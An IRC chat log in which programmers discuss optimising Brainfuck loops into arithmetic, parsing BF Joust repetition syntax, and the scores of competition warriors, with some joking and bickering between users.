bf loop to a polynomial [-->+<] ? 19:46:36 ehird, maybe you can help here 19:46:45 to me it seems to be a form of division 19:46:47 AnMaster: well, let's analyze the iteration 19:46:54 ehird, sure :) 19:47:06 while(0){0-2, 1+1} 19:47:13 correct 19:47:14 (where x+y is ptr+x = y) 19:47:15 eer 19:47:16 +=y 19:47:17 yep 19:47:18 AnMaster: okay, so 19:47:23 AnMaster: we decrease by two 19:47:33 AnMaster: so, that is basically 19:47:39 times(0/2){1+1} 19:47:46 0=0 19:47:51 yes 19:47:52 AnMaster: this is general, for example: 19:47:56 [->+<] 19:47:57 um 19:47:58 would become 19:48:03 AnMaster: wait 19:48:05 [x] = value of cell x 19:48:08 x = literal x 19:48:11 AnMaster: [-->+<] is 19:48:22 times([0]/2){[1]+=1}; [0]=0; 19:48:26 AnMaster: [->+<] is 19:48:33 times([0]/1){[1]+=1};[0]=0; 19:48:34 where is that notation from 19:48:38 AnMaster: since x/1 = x, it works 19:48:40 and I made it up 19:48:43 AnMaster: but do you see? 19:48:45 ok sure 19:48:56 but how do you avoid iterations in that times? 19:49:01 AnMaster: eh? 19:49:16 AnMaster: oh, i see 19:49:31 AnMaster: well, just do it as if it decremented one. then divide the values by 2 19:49:37 ehird, I would expect [->++<] to be compiled to: p[1] = 2 * p[0]; p[0] = 0; 19:49:49 AnMaster: we're talking about [-->+<] 19:49:54 ehird, we are 19:49:56 which is p[1] = p[0]/2; 19:49:57 so what about it then 19:49:59 p[0]=0; 19:50:07 AnMaster: but, we need to handle odd numbers 19:50:10 let's say p[0]=3 19:50:14 ehird, yes that is the issue 19:50:18 [-->+<] p[1]+=1, p[0]=1 19:50:27 [-->+<] p[1]+=1, p[0]=255 19:50:42 then 19:50:50 [-->+<] p[1]+=1, p[0]=253 19:50:51 [-->+<] p[1]+=1, p[0]=251 19:50:56 [-->+<] p[1]+=1, p[0]=249 19:51:00 and so on 19:51:01 yes 19:51:02 AnMaster: etc 19:51:03 up to 19:51:09 [-->+<] p[1]+=1, p[0]=1 19:51:09 down to ;P 19:51:11 (I believe) 19:51:18 AnMaster: so we can conclude that 19:51:20 if the number is odd 19:51:21 it loops forever 19:51:23 and eva 19:51:23 sure 19:51:25 and eva 19:51:30 AnMaster: so, it turns into 19:51:44 if (p[0]%2==0){p[1]+=p[0]/2;p[0]=0;}else{for(;;);} 19:51:51 -!- olsner has joined. 19:51:56 tada 19:51:57 ehird, lets say we have one that must be finite then, as a better example. Like [--->+<] 19:52:07 AnMaster: that doesn't have to be finite 19:52:15 it's infinite if (cell % 3)!+0 19:52:16 *!=0 19:52:42 ehird, with 256-wrapping cells it is always finite 19:52:55 AnMaster: hmm 19:53:00 AnMaster: the extended gcd stuff? 19:53:03 AnMaster: well, then, it's just 19:53:07 might take more than one crossing of 256 19:53:14 AnMaster: lemme write a program to trace it 19:53:16 2 secs 19:53:27 AnMaster: let's say the value is 4 19:54:14 ehird, if (positive_index_cell_diff%2 == 1) it is finite. Where -3 is thus 253. 19:54:20 wait, wait, sec 19:54:26 I think 19:54:43 yep 19:54:45 prog written 19:54:48 AnMaster: end values are 19:54:51 [0]=0, [1]=127 19:54:55 for [0]=4, [1]=0 19:54:59 and [--->+<] 19:55:12 AnMaster: I can run it for another starting value 19:55:21 AnMaster: how about [0]=16, [1]=0? 19:55:26 sure 19:55:38 oh wait 19:55:40 [1]!=127 19:55:49 AnMaster: for [0]=4, [1]=172 at the end 19:55:59 AnMaster: for [0]=16, [1]=176 at the end 19:56:31 AnMaster: so, let's try with 2 19:56:35 but question is, can you know this if you don't know what [0] is at compile time. I mean "know" here as in "know what arithmetic operation to turn it into" 19:56:35 which is the smallest non-trivial even number 19:56:38 ie the one that actually loops 19:56:54 AnMaster: ok, for n=2, it loops 86 times 19:56:58 (and thus [1]=86) 19:57:01 well, maybe 87 19:57:06 0-based indexing throwing me off 19:57:06 whatever 19:57:13 AnMaster: it's probably some modulo thing 19:57:17 ehird, " 0-based indexing throwing me off" <-- you aren't alone 19:57:26 yeah I always have to stop and think 19:58:01 AnMaster: now, it should be calculating 2/3 19:58:06 which is 0.6r 19:58:15 I can manage 0-based arrays pretty well. I kind of "learnt" the important edge cases. Anything else that is zero indexed though... 19:58:31 ehird, question was. Does that actually map to /3... hm 19:58:35 AnMaster: yes, absolutely 19:58:38 it's integer division by 3 19:59:13 >> _0=9;_1=0 => 0 19:59:13 >> while _0!=0; puts "[0]=#{_0} [1]=#{_1} -> [0]=#{_0 = (_0-3)%256} [1]=#{_1 += 1}" end 19:59:14 [0]=9 [1]=0 -> [0]=6 [1]=1 19:59:16 [0]=6 [1]=1 -> [0]=3 [1]=2 19:59:16 ehird, can't map to an integer polynomial then. Expression sure. But not integer polynomial 19:59:18 [0]=3 [1]=2 -> [0]=0 [1]=3 19:59:20 => nil 19:59:22 >> 9/3 19:59:24 => 3 19:59:26 AnMaster: 19:59:36 yeah well, "polynomial" in bf optimization just means "constant expression on tape cells" :P 19:59:46 now if only oerjan was here 20:00:02 i'm sure there's an easy way to figure this out 20:00:07 AnMaster: btw for [0]=1, [1]=171 20:00:18 and for [0]=4, [1]=172 as I said 20:00:19 ehird, so you mean I coded the "integer polynomial library" for nothing? With the distributive laws and simplification and so on 20:00:21 :( 20:00:29 AnMaster: haha, did you actually do that? 20:00:51 ehird, sure. It handles addition and multiplications of two polynomials too 20:00:56 expands them and so on 20:01:10 AnMaster: [0]=5 → [1]=87, [0]=8 → [1]=88 20:01:24 perhaps [0]=(N/2)-1 → [1]=(result_of_N)-1 20:01:31 ehird, about 200 lines of erlang code, including the "special foldl" for generating backend output 20:01:41 err 20:01:43 perhaps [0]=(N/2)+1 → [1]=(result_of_N)-1 20:01:45 mixed that up 20:01:55 err... for which code? 20:02:01 AnMaster: for non-divisors here) 20:02:09 20:00 ehird: AnMaster: btw for [0]=1, [1]=171 20:02:09 20:00 ehird: and for [0]=4, [1]=172 as I said 20:02:13 20:01 ehird: AnMaster: [0]=5 → [1]=87, [0]=8 → [1]=88 20:02:22 (4/2) = 2 20:02:24 2 - 1 = 1 20:02:28 result_of_4 = 172 20:02:30 result_of_1 = 171 20:02:36 (8/2) = 4 20:02:42 4 + 1 = 5 20:02:47 result_of_8 = 88 20:02:52 result_of_4 = 87 20:02:56 AnMaster: so sometimes it's +1, sometimes it's -1 20:02:58 ehird, I can handle loop with +1/-1 for index cell and which only contains adds/sets/"other polynomials" 20:03:01 how queer this is 20:03:18 hm 20:03:29 ehird, so not trivial integer division then? 20:03:43 AnMaster: oh, it's trivial integer division if [0] % N == 0 20:03:47 as in, if it divides properly 20:03:54 it's just the edge-case that produces weird shit 20:04:02 edge-case being [0]%N!=0 20:04:12 where N was? 20:04:18 * AnMaster lost track 20:04:39 AnMaster: number of -s 20:04:41 ehird, problem if, if a compiler handles everything but edge cases just fine then you get GCC. 20:04:47 in [-*N>+<] 20:04:48 and yes, I know 20:04:50 s/if/is/ 20:04:52 it's just weird shit 20:04:58 i mean, it's not an edge case in the code 20:05:04 but it's an edge-case in the intention of the code 20:05:06 ah 20:05:08 (to divide) 20:05:10 anyway 20:05:22 AnMaster: i think esotope detects division 20:05:29 if I know the number of iterations using a polynomial is pointless 20:05:34 i know 20:05:35 since I could just do: 20:05:45 yes 20:05:45 I know 20:05:54 lists:flatten(lists:duplication(NumberOfIterations,BodyOfLoop)) 20:06:01 and then insert that where the loop was 20:06:09 this is very interesting 20:06:16 "duplicate" 20:06:25 not "duplication" 20:06:29 typoed there 20:06:36 ehird, what is interesting 20:06:41 the edge case here 20:06:45 the values it produces 20:06:48 brb need to get some cookie or something 20:06:50 SO I HERD U LIEK MUDJOUST 20:06:59 cookies are tasty 20:07:08 AnMaster: the life of a bf joust implementor is much easier 20:07:12 since we absolutely cannot optimize :) 20:07:12 Oooh, slowrush is down. 20:07:15 And a defender is on top again. 20:07:22 and i_keelst_thou died 20:07:36 and your randomness is fucking up everything :D (see logs) 20:07:44 before AnMaster says anything, yes I'm coding on my interp 20:07:52 I was gonna say it :P 20:08:46 -!- Corun|away has changed nick to Corun. 20:09:05 i'm at the boring bit now 20:09:05 wanted: Garlic and Bacon cookie. 20:09:07 writing the interp loop :) 20:09:10 AnMaster: Ohmigod. 20:09:15 ehird, just an idea 20:09:20 AnMaster: You should warn me before saying such amazing things. 20:09:27 ehird, why 20:09:32 I might die of shock 20:09:43 ehird, Plus I would have to warn all the time 20:09:44 ais who isn't here: srandom and random should be the same on any system, but my hash is different on 32- and 64-bit systems, so you need to be on 64-bit to get the same result. 20:09:48 since I'm always amazing 20:09:50 ;P 20:10:20 AnMaster: the life of a bf joust implementor is much easier since we absolutely cannot optimize :) <-- yeah, but I don't have to care about timing and running unoptimised code fast 20:10:23 ;P 20:10:34 true enough 20:10:57 ehird, heck, I don't even have to care about running fast. As long as the generated output is fast. 20:11:10 in-between is slow as shit. ~40 seconds for lostking 20:11:20 AnMaster: mine has it even worse than egojoust 20:11:25 egojoust just has to run every battle once 20:11:29 i have to run each battle 42 times 20:11:33 and be just as fast if not faster 20:11:41 bacon joust 20:11:52 not a programming language 20:11:52 i may need to enroll your cfunge microöptimization skills, AnMaster 20:11:59 rather, based on the old jousting 20:12:00 but 20:12:03 with bacon instead 20:12:04 AnMaster: riding on pigs, waving bacon at each other 20:12:10 sounds more like a mating ritual than a fight. 20:12:25 :D I worked out the name for it before the implementation. 20:12:45 which means the name sounds awsome, but I have no idea how it would work. 20:12:56 sorry, I said pig 20:12:58 I meant prebacon, of course 20:13:01 haha 20:13:06 ehird, what about garlic joust 20:13:09 how would it work 20:13:17 AnMaster: riding on pieces of garlic, waving garlic at each other 20:13:20 there may be a slight movement problem 20:13:28 ehird, yeah I don't think that could work 20:13:28 hm 20:13:36 what about using the smell of it instead 20:13:47 the jousters must not eat garlic before 20:13:52 AnMaster: "make your opponent's eye water". 20:13:54 while riding on a horse. 20:13:55 so they can experience the full smell of it 20:14:01 thrilling 20:14:10 ehird, yes, or a gunniea pig (sp?) 20:14:16 guinea pig 20:14:19 ah 20:14:34 btw i have a guinea pig and i can tell you that you'd be stupid to try and test on them 20:14:41 ehird, why is that? 20:14:46 impossible to catch and escape all the time 20:14:46 would it eat the garlic? 20:14:52 oh I see 20:14:52 test on them as in labs, I mean 20:14:58 so it's a bad phrase :) 20:15:06 ah, uh, putting a tape element in the match structure and allocating it may help my interp compile 20:15:47 Nom nom nom. 20:16:03 ehird, still going for the polarity thing? 20:16:07 AnMaster: of course 20:16:12 mhm 20:16:17 AnMaster: yay, it runs 100k cycles instantly 20:16:21 ofc, it doesn't handle wins or anything yet 20:16:28 and the loop logic is ordering-sensitive 20:16:29 ehird, adding that will slow it down 20:16:34 AnMaster: not by much 20:16:40 just a branch or two each iteration 20:17:01 and the loop logic is ordering-sensitive <-- err. Forgive my ignorance. But what the hell does this means in the context of BF loops 20:17:14 AnMaster: if one program does + and the other does [ 20:17:15 or 20:17:19 the program that would do + does [ 20:17:21 ie 20:17:22 ah 20:17:22 swapped 20:17:25 then it changes 20:17:28 isn't it checked at start of loop? 20:17:29 iirc 20:17:31 ........... 20:17:36 AnMaster: the two programs run simultaneously 20:17:40 (a,b) matchup = (b,a) matchup 20:17:42 err 20:17:44 start of turn 20:17:44 duh 20:17:48 is what I meant 20:17:51 AnMaster: yes 20:17:53 i haven't added that yet 20:18:04 ehird, saving it would slow you down 20:18:11 so try to work it out backwards 20:18:11 AnMaster: dude. by 1 cycle. 20:18:14 or 2 cycles 20:18:15 or whatever 20:18:29 only overhead if there actually is a loop then 20:19:07 AnMaster: 20:19:07 % time ./lance 20:19:08 2 20:19:10 ./lance 0.00s user 0.00s system 73% cpu 0.004 total 20:19:12 i'm sure I can spare a few more miliseconds 20:19:14 *milliseconds 20:19:34 That was for it to do ... what? 20:19:39 ehird, shouldn't the two input files be listed there too 20:19:40 GregorR-L: run 200k cycles 20:19:43 although not completely 20:19:45 AnMaster: it's debugging code 20:19:48 GregorR-L: err, 100k 20:19:50 Of what? You didn't give it any programs :P 20:19:55 GregorR-L: it's my interp. 20:19:58 it has built in ones 20:20:00 it's testing code. 20:20:02 Ah 20:20:11 but [>[-]+] and >+[]<[-] 20:20:15 interpreter with built in programs! 20:20:15 :D 20:20:20 AnMaster: currently a total 42 match would take 0.168 seconds 20:20:41 AnMaster: and remember 20:20:43 this is a timeout 20:20:45 there isn't any win logic 20:20:48 so it runs forever 20:20:51 indeed 20:20:52 admittedly, they probably just nop forever 20:20:58 after a bit 20:20:59 but meh 20:21:10 AnMaster: so if there's 10 other programs on a hill, and we run a new program for every polarity/tapelength change (which we won't) 20:21:12 ehird, do you pre-expand * and % 20:21:15 adding a new warrior would take 1.68 seconds 20:21:18 which is just fine 20:21:19 or on the fly 20:21:28 AnMaster: no, I'm going to use nescience's method which avoids expanding them altogether 20:21:33 don't do anything with them atm 20:21:49 ehird, what is this menthod 20:21:51 method* 20:22:01 AnMaster: hard to understand is what it is 20:22:11 try it 20:22:29 I'd guess it it would be interpret the code without expanding it 20:22:30 i can't, i don't understand it. 20:22:31 :) 20:22:34 AnMaster: pretty much 20:22:36 seems fairly straightforward 20:23:30 (+)*3 would then do get_next_instruction(), which would notice at the ) that there are some "not actually expanded" expansions left. 20:23:37 until there wasn't 20:23:49 seems simple enough to handle ({}) too that way 20:24:06 I think it would possibly be slower for short programs though 20:24:10 due to the additional logic 20:24:34 ehird, is that what you meant? 20:26:21 dunno 20:26:42 ehird, do you understand what I mean though? 20:26:55 yes 20:26:57 ask nescience 20:27:34 nescience, there? 20:27:40 nescience, was the above what you meant 20:27:53 ehird, also how would you implement it if you didn't understand it 20:28:05 hmmmm 20:28:10 AnMaster: difficultly 20:28:16 it would seem that hash tables are vulnerable to denial of service attacks 20:28:27 ehird, yeah, that is why I haven't used extended gcd for polynoms yet! 20:28:37 -!- Hiato has joined. 20:28:41 because I don't understand the maths behind it 20:28:45 bsmntbombdood: s/tables // 20:28:53 s/hash /hash functions / 20:28:55 I agree. 20:29:16 ehird, not cryptographically secure hash tables. 20:29:33 AnMaster: hash functions are inevitably DoSable 20:29:45 pigeonhole problem 20:29:59 yes. But good luck doing that for something like sha512 20:30:13 i don't think you understand. 20:30:26 AnMaster: btw sha-1 is being attacked, sha-2 is next. 20:30:26 AnMaster: you can't use all 512 bits for indexing your table 20:30:32 ehird, no I don't understand why you did " bsmntbombdood: s/tables // s/hash /hash functions /" 20:30:36 brute force can only go far— and what bsmntbombdood said. 20:30:41 ehird, and ok. What about Whirlpool. 20:30:46 you'll only end up having to collide 32 bits or so, which is very easy 20:30:48 !bfjoust whoops (-)*127>+[]<-+ 20:30:50 you need a 64-bit hash function 20:30:58 or 128-bit if you have a weird supercomputer 20:30:58 Score for nescience_whoops: 14.4 20:31:03 ha, oh well 20:31:11 not many using something susceptible to that now i guess 20:31:18 nescience, ah, care to explain what you meant then above 20:31:19 .. 20:31:44 !bfjoust spoohw (-)*127>+[]<[[-+]+] 20:31:55 Score for ehird_spoohw: 15.1 20:32:02 ah, randomness. 20:32:04 how i hate thou 20:32:11 !bfjoust whoops (-)*127>+[]<-+. 20:32:22 Score for nescience_whoops: 13.6 20:32:39 err 20:32:42 !bfjoust whoops (-)*127>+[]<.-+ 20:32:52 delay a beat because of double brackets 20:32:53 Score for nescience_whoops: 14.4 20:32:57 still no good, o well 20:33:29 nescience: explain to AnMaster the avoid-expanding thang 20:33:40 also lol i didn't notice there was already a 'whoops' 20:33:55 sure, in a sec 20:34:47 !bfjoust spleen (>(+)*128>(-)*128)*5 20:34:58 Score for GregorR-L_spleen: 8.0 20:35:00 for the case of ({})%N, evaluating left to right as normal, you should behave as follows: 20:35:25 when you encounter {, increase a counter; if the counter is equal to N, proceed on, else jump back to ( 20:35:38 when you encounter ), decrease the counter; if it is equal to 0, proceed on, else jump back to } 20:35:50 otherwise handle [] brackets normally, they can jump back and forth across {} with no trouble 20:36:11 -!- jix_ has quit ("leaving"). 20:36:39 nescience: hm, how is } handled there? 20:36:42 same as {? 20:36:46 ignore it 20:36:49 it's the label, not the jump 20:36:52 ah 20:36:57 ( and } both behave that way 20:37:09 { and ) are the "if/goto" 20:37:20 nescience: how does egojoust handle (a{b}c)*N, I wonder? 20:37:21 parse error? 20:37:23 ignore the { and }? 20:37:27 break randomly? 20:37:29 GregorR-L: ? 20:37:30 Ignore the { and } 20:37:39 Or, more accurately, repeat them in the output :P 20:37:45 GregorR-L: does it still parse them as instructions 20:37:48 but just treat them as nops? 20:37:50 no 20:37:53 they do not take a cycle 20:37:55 They're treated like comments. 20:37:57 do not ignore { 20:38:25 ah, true 20:38:35 it just seems a pain, since you have to delay parsing until ) 20:38:47 well 20:38:53 yeah, you have to know if you have a %loop or a *loop 20:39:00 i had it in mind to pre-process the program 20:39:01 nescience: also, you can treat them as invisible nops 20:39:04 and match up all the brackets, setting pointers 20:39:11 "when {, perform next operation" 20:39:14 yes, but { needs to do more than nop 20:39:14 etc 20:39:25 nescience: not when you're in a * loop 20:39:29 which is the case I meant 20:39:32 you can have nops that last 0 cycles 20:39:36 oh 20:39:37 right 20:39:38 by simply making them do "run-next-cycle" 20:39:44 which seems like the simplest way to parse this 20:40:10 it is probably possible to allow constructs of the form 20:40:18 ([{})%N] 20:40:21 but fuck that shit :> 20:40:34 i mean, supposing the brackets are balanced 20:40:37 http://www37.wolframalpha.com/input/?i=how%20to%20program 20:40:48 Deewiant: BAHAHAHAHAHAHAHAHAHAHA 20:40:51 actually, i'm unsure but i think that all you'd have to do to make that work is not discard your working counter 20:40:53 ahahahhahaahahahaahahahaaa 20:40:58 nescience: idea 20:41:22 nescience: you could make (a[)*Nb(]c)*N work, by transforming it into (a[{b}]c)*N behind the scenes 20:41:26 i.e., just having that as an internal syntax 20:41:31 just for () including [/] 20:41:38 orthogonality++, stillworks++ 20:42:06 yes 20:42:15 you could, but i think the syntax is more confusing 20:42:22 and you have extra syntax constraints (the Ns must match) 20:42:54 nescience: not really 20:43:01 nescience: i mean, intuitively, expansions happen beforehand 20:43:02 so 20:43:07 (a[)*3b)]c)*3 20:43:08 → 20:43:10 err 20:43:11 (a[)*3b)]c)*2 20:43:12 → 20:43:19 fix that syntax 20:43:20 but w/e: 20:43:20 a[a[a[b]c]c 20:43:25 nescience: which is, of course, an unmatched [ 20:43:28 vs unmatched ] 20:43:31 you could just report it as that 20:49:25 i guess 20:49:34 to be honest i don't like the ({}) syntax much 20:49:38 but i like the alternative less 20:49:58 but what i meant is 20:50:03 if you allow ([)*N 20:50:08 people will be tempted to do something like 20:50:18 ([)*4a(])*2b(])*2c 20:50:39 which is still handlable without expanding, but would require more work 20:50:48 and doesn't convert directly to the other syntax 20:51:21 nescience: that is nice, though 20:51:28 can you even do that easily with ({})? 20:51:31 no 20:51:36 i'm not sure it's useful 20:51:39 but someone'll probably try it 20:51:47 you know what might make things more pleasant to look at btw 20:51:50 go all regex style 20:51:53 don't require () for * 20:51:58 but if no () only apply it to the last char 20:52:18 then you'd only have a[*3b]*3c 20:52:21 which looks slightly better 20:52:26 you could probably remove the * entirely 20:52:34 if you assume decimal digits are multipliers 20:52:48 in that case, i might be more tempted to agree with you to getting rid of ({}) 20:52:52 but parsing would be a lot more complicated 20:53:26 you'd probably also have to "scan" ahead when processing 20:53:34 nescience: yeah 20:53:36 that's LR(something) 20:53:38 you can't just jump directly to the same bracket 20:53:45 like you can with ({}) 20:53:51 nescience: if you don't allow 0, 20:53:54 that's the nice thing about it, you don't need any special handling for [] 20:53:56 you can just parse a number as "repeat last command" 20:54:10 +3 -> +, repeat 3 20:54:12 hell, allow 0 just for kicks :P 20:54:16 ewll 20:54:16 repeat 2 20:54:20 nescience: no, that's impossible 20:54:25 +0 -> +, repeat -1 20:54:29 i'm talking about avoiding lookahead 20:54:40 you won't be able to avoid lookahead if you get rid of ({}) 20:54:49 well, you'll have more of it than otherwise 20:55:16 lookahead is the wrong term 20:55:21 it wouldn't be before execution, it'd be after 20:55:27 but you'd have a lot more scanning instead of direct jumps 20:55:28 nescience: i mean trivial syntactic overhead 20:55:31 unless, again, you expand 20:55:36 instead of + looking for a number 20:55:39 you just do + 20:55:42 then a repeat node 20:56:28 nescience, that seems simple enough 20:56:28 well, if you want to avoid lookahead you could always put the digit *before* the code to be repeated 20:56:34 (sorry was away before 20:56:36 ) 20:56:37 3+ 20:56:39 = 3 +'s 20:56:42 3(+-) 20:56:45 = 3 +-'s 20:57:34 nescience: we just need a metalanguage ;0 20:57:35 ;) 20:57:38 *;) 20:57:51 AnMaster: it is, it's just a little confusing to sit down and think about it and realize how simple it is :P 20:58:25 yeah, having to do that is confusingly retarded ;P 21:09:09 ([)*4a(])*2b(])*2c <-- it is useful probably 21:10:53 wut 21:11:17 argh 21:11:27 optimization makes testing hard 21:11:50 bsmntbombdood, optimisation is the root of all evil 21:12:06 don't optimise until you profiled and found it was needed 21:12:08 AnMaster: stupidest thing I've ever heard. 21:12:17 21:11 AnMaster: bsmntbombdood, optimisation is the root of all evil 21:12:22 ehird, famous quote 21:12:24 i give you the prize of Most Distorting Misquotation of Knuth 21:12:28 AnMaster: hahahahaha 21:12:31 AnMaster: not so useful that you can't just write it like 21:12:35 ehird, and yes I know it is a misquote 21:12:53 ehird, I dropped the premature intentionally 21:13:02 AnMaster: you're very stupid. :) 21:13:41 ehird, like... knowing that "or real part less than zero" doesn't mean a number is imaginary? 21:13:44 ([([a{}])*2b{})*2c or something 21:13:48 That kind of stupid? 21:13:50 but it's confusing as hell to do so :P 21:13:55 point in favor of no squigglies 21:14:18 AnMaster: wow, you really are grasping at straws. for one, my position was historically supported; I didn't realize the definition had changed. for two, you couldn't fucking figure out how the extended euclid algorithm works 21:14:41 ehird, nor could you figure out ({}) yourself? 21:14:46 I know how ({}) works. 21:14:56 nescience was in a rush when he explained his method to me yesterday. 21:14:59 the "don't expand" bit 21:15:00 I mean 21:15:01 Therefore it came out garbled 21:15:07 AnMaster: you didn't either 21:15:08 ehird, it was indeed what I thought it was 21:15:16 nescience: indeed 21:15:16 or really anyone else, so? it's just a matter of how much work you wanted to put in 21:15:18 -!- kar8nga has joined. 21:15:31 not "intelligence" 21:15:33 nescience, sure do. About jumping to matching ] can be done across {} (assuming no unbalanced [] in {} 21:16:04 !bfjoust test ++({[++]})%2 21:16:09 ... 21:16:15 Score for AnMaster_test: 14.9 21:16:19 errrrrrrrrm 21:16:24 !bfjoust test ++(++{[++]}++)%2 21:16:25 that's not what he was talking about. that was one aspect of it 21:16:32 haha you're funy 21:16:34 funny, even 21:16:35 -!- Sgeo has joined. 21:16:35 Score for AnMaster_test: 10.6 21:16:45 ehird, I'm going to test something in the parser 21:16:47 !bfjoust test ++(+[+{[++]}+]+)%2 21:16:57 Score for AnMaster_test: 12.1 21:16:59 how can you parse that incorrectly 21:17:00 that's trivial 21:17:05 !bfjoust test ++[(+[+{++[}+]+)]%2 21:17:11 !bfjoust test ++[(+[+{++[}+]+)%2] 21:17:13 even 21:17:22 Score for AnMaster_test: 15.6 21:17:22 Score for AnMaster_test: 15.6 21:17:25 ehird, of course you can't 21:17:28 but the latter one you could 21:17:36 the latter one is invalid 21:17:36 you could segfault on it 21:17:39 i'm pretty sure 21:17:55 ehird, yes. And I was hoping for "yet another segv bug" 21:18:00 seems there wasn't however 21:18:06 so now you're flinging shit at GregorR-L's implementation too? 21:18:10 you're really on a jackass roll here 21:18:14 ehird, I were before? 21:18:19 I think it was his one 21:19:08 ehird, Plus, a true malicious user could abuse bugs. Thus it is best if they are uncovered and fixed before. 21:19:12 -!- Hiato has quit (Read error: 104 (Connection reset by peer)). 21:19:15 HAHAHAHAHAHAHA 21:19:24 nescience: am I in an alternate universe where AnMaster just said that? 21:19:28 i mean clog thinks he said it too 21:19:32 but it could be quantum fluctuations 21:19:38 ehird, what is wrong with it. 21:19:47 i don't think a universe where he actually said that could exist without ending due to extreme hilarity 21:20:04 if an interpreter crashes on malformed input resulting in hill messing up. That is a bug 21:20:25 i think i maybe worked out the details about repeating with unbalanced repetitions and brackets 21:20:27 simple as that 21:20:31 haven't sat down and did it yet 21:21:00 but i think you want to keep a decrementing depth counter 21:21:08 since the first repetitions of [ are the "outside-est" ones 21:21:18 then you seek, and dec for every ] or repeated ] 21:21:27 ehird 21:21:29 until your counter is less than one you hit 21:21:33 then you behave as per ({}) 21:21:33 psygnisfive: what 21:21:35 or some variant of that 21:21:44 seems like more work than it's worth 21:21:46 you would do well to read the whole collection of things i said before responding to individual statements 21:22:10 that's not quite right though 21:22:15 ooh, i pissed off psygnisfive 21:22:19 since i quickly recognized that trivial loops are ofcourse possible in non-TMs. 21:22:19 basically the problem you have is when skipping []s 21:22:21 not when repeating them 21:22:21 i logread this way, psygnisfive, so phooey :) 21:22:38 not pissed off, you're just responding to things that dont need response. 21:23:08 well skipping [s and executing ]s 21:23:08 psygnisfive: your mom 21:23:44 then you just have to locate the proper depth 21:23:52 and the real point, ehird, was that some kinds of infinite loops are detectable and avoidable, and those happen to be the kinds that do not require TMs. 21:23:54 it would get possibly tricky if you encounter something like 21:24:00 (a]b])*N 21:24:14 psygnisfive: you can detect an infinite loop on an old 386 using a high-end server, probably 21:24:16 for almost all applications 21:24:21 so it is quite practical 21:24:22 slow though, ofc 21:24:29 and you need a TM to really check finite machines 21:24:34 and if you have a TM, why use finite machines? 21:24:49 thats irrelevant to the point 21:25:04 so's your butt 21:25:36 im going to design a language that compiles into JS. o.o; 21:25:47 been done 834573495 times 21:25:51 there are scheme impls in js 21:25:51 perhaps! 21:25:54 that compile to js 21:26:03 but im going to write my own. 21:26:09 i logread this way, psygnisfive, so phooey :) <-- I completely understand why psygnisfive is irritated. The same way of your "respond before you read it all" have irritated me too. 21:26:43 AnMaster: Waaah! Bitch some more :). And I hope you complain to ais523 about it, too; he does it in Agora - replies as soon as he reads a mail, despite it being answered one after. 21:26:56 But you criticizing ais523 would probably mark the second coming of jesus. 21:27:11 ehird, luckily I'm not involved in Agora 21:27:21 i think the language im going to design is going to be heavily small-talky 21:27:22 I would however do it if I was affected by it. 21:27:38 maybe with some ruby syntax stuff 21:27:43 psygnisfive: there are smalltalks in JS, iirc 21:27:47 ehird, and ais doesn't log read 21:27:52 thats nice, ehird 21:27:56 AnMaster: thankfully I don't care what you think about my logreading responses. 21:28:08 don't read them if you don't like 'em 21:28:23 #esoteric, the opera: AnMaster comes onto stage and says something incomprehensible. You're so stuuuuuupid! You're so stuuuuuupid. You're so stuuuuuuuuuupid! (harmonizing) 21:28:30 ehird, and thankfully I don't care what you think about my multiple naming of the similar programs either 21:28:31 :) 21:28:37 GregorR-L: Fairly accurate. 21:28:49 GregorR-L: One correction. 21:28:57 should be 21:29:07 Somehow I disagree. 21:29:10 :P 21:29:11 ehird, I think he wasn't aiming for a parody 21:29:11 :) 21:29:19 AnMaster: I was joking. 21:29:23 ehird, so was I 21:29:28 SO WAS YOUR FACE 21:29:36 AnMaster: Also, me responding to logreads doesn't affect anyone else. Cluttering the hill with mututally-drawing does. 21:29:37 and your mom 21:29:39 *mutually-drawing programs 21:29:55 AnMaster: Also, me responding to logreads doesn't affect anyone else. Cluttering the hill with mututally-drawing does. <-- yes it does, for whoever got highlighted 21:30:04 AnMaster: /ignore. 21:30:10 You're welcome 21:30:22 ehird, if I ignored you I would miss half of the discussions in here 21:30:22 Y'know what affects people the most? Arguing about stupid things for endless hours. 21:30:30 GregorR, agreed 21:30:31 AnMaster: Youuuuuuuuur loss. 21:30:44 GregorR-L: Oh, it's quite fun. 21:42:32 Good lawd, there's an update every minute all night 21:43:30 GregorR-L: wut 21:44:07 somebody enlighten me: what's a TM? :P 21:44:28 A Turing Machine I assume? 21:44:37 yes 21:44:47 oh, right. 21:45:07 i have no idea why that didn't snap into place immediately 21:45:20 http://www.zalman.co.kr/ENG/product/Product_Read.asp?Idx=183 PC/space heater combination! Get yours now! 21:45:25 oh hey, microsoft finally coughed up the $$ for my live cash back account 21:54:55 http://codu.org/eso/bfjoust/report-2009-05-29-20-17.avi 21:54:57 nescience: are you = myndzi\? :P 21:55:03 GregorR-L: .avi? 21:55:04 what codec? 21:55:08 MPEG4 21:55:14 mpeg 4 in .avi? 21:55:21 GregorR-L: Quicktime says it's divx. 21:55:24 I'm using mencoder and I'm lazy. 21:55:26 DivX is MPEG-4. 21:55:32 ... erm, it is? 21:55:35 Yes. 21:55:44 hm 21:55:45 so it is 21:55:49 GregorR-L: i don't want to install divx shit 21:55:52 :< 21:55:58 can you convert to something more palatable 21:56:02 Quicktime requires that you install DivX to decode standard MPEG-4? 21:56:05 That's retarded. 21:56:09 GregorR-L: it doesn't 21:56:11 which is why I asked 21:56:14 but it told me to in this case 21:56:21 GregorR-L: The sorted rankings might've been more interesting to see 21:56:27 I didn't even encode it with DivX, I encoded it with lavc, but I set the fourcc to DIVX because most players don't support LVM4 21:56:33 Or whatever that fourcc is. 21:56:39 GregorR-L: well, do it the LVM4 thing then 21:56:40 LMP4? FMP4 maybe? 21:56:49 GregorR-L: what is the video actually of? 21:56:55 The report changing over time. 21:56:58 ah. 21:57:00 I'm just gonna stick it in a .mp4 :P 21:57:40 !bfjoust slowpoke_revengist (>)*9((-)*128[-[+]]>)*21 21:57:51 Score for ehird_slowpoke_revengist: 29.7 21:58:35 23:56:13 with a little gap 21:58:38 since 2004, apparently 21:58:40 dunno when the gap was 21:58:47 23:56:54 ( i moved from anagol) <-- same 21:58:52 was this advertised on anagolf? 21:59:31 !bfjoust slowpoke_revengist (>)*9((-)*128[---[+++]]>)*21 21:59:42 Score for ehird_slowpoke_revengist: 31.0 21:59:51 23:57:15 me korea 21:59:55 the one that has internet or the one that doesn't have internet :D 21:59:58 !bfjoust slowpoke_revengist (>)*9((-)*128[---[+++]]>)*21 22:00:07 GregorR-L: wtfslow 22:00:09 Score 